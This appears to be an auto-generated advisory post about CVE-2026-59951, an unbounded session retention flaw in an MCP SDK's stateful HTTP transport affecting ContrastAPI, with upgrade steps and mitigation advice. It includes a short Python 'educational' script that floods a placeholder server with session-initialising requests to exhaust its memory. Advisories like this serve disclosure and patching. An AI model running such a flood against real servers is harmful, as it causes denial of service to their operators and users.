Listen to this Post
CVE-2026-59951 is a vulnerability characterized by unbounded session retention located within the Software Development Kit’s stateful Streamable HTTP transport layer.
When applications utilize the stateful transport mechanism of the affected MCP SDK, client sessions are established to maintain communication state across multiple requests.
However, inadequate lifecycle management and the absence of strict retention limits mean that these sessions are retained indefinitely in server memory unless explicitly terminated or cleaned up.
An unauthenticated or authenticated attacker can repeatedly initiate stateful transport sessions without triggering garbage collection or expiration timeouts, gradually exhausting available system memory.
This continuous memory consumption eventually leads to resource exhaustion, application degradation, and a potential denial of service condition for the underlying server infrastructure.
In the specific architecture of ContrastAPI, the application is configured to serve Model Context Protocol operations primarily in stateless mode.
Because stateless mode completely bypasses the vulnerable stateful transport code path, the underlying exploit vector was fundamentally unreachable for deployments using standard configurations.
Nevertheless, to ensure robust defense-in-depth and eliminate any latent risk from transitive package dependencies, the maintainers released version v1.36.4 to upgrade the affected mcp and mcp-types libraries from version 2.1.1 to 2.2.0.
DailyCVE Form:
Platform: UPinar contrastapi
Version: v1.36.4
Vulnerability : Unbounded session retention
Severity: Medium severity
date: October 18, 2026
Prediction: Patched in v1.36.4
What Undercode Say:
pip install mcp==2.2.0 mcp-types==2.2.0 python -c "import contrastapi; print(contrastapi.<strong>version</strong>)" grep -rn "Streamable" ./src/
Exploit: (Educational Purposes!)
import requests
url = "http://target-server/mcp/streamable"
headers = {"Content-Type": "application/json"}
payload = {"jsonrpc": "2.0", "method": "initialize", "params": {}}
for i in range(10000):
response = requests.post(url, json=payload, headers=headers)
print(f"Session request {i}: Status {response.status_code}")
Protection: from this CVE
Upgrade the MCP SDK dependencies to version 2.2.0 or higher. Ensure that applications enforce strict timeout policies on transport sessions and configure transport handlers to run in stateless mode where persistent streaming state is unnecessary.
Impact:
Unbounded memory consumption leading to server resource exhaustion, potential denial of service, and service degradation if stateful transport mechanisms are exposed without proper session eviction limits.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
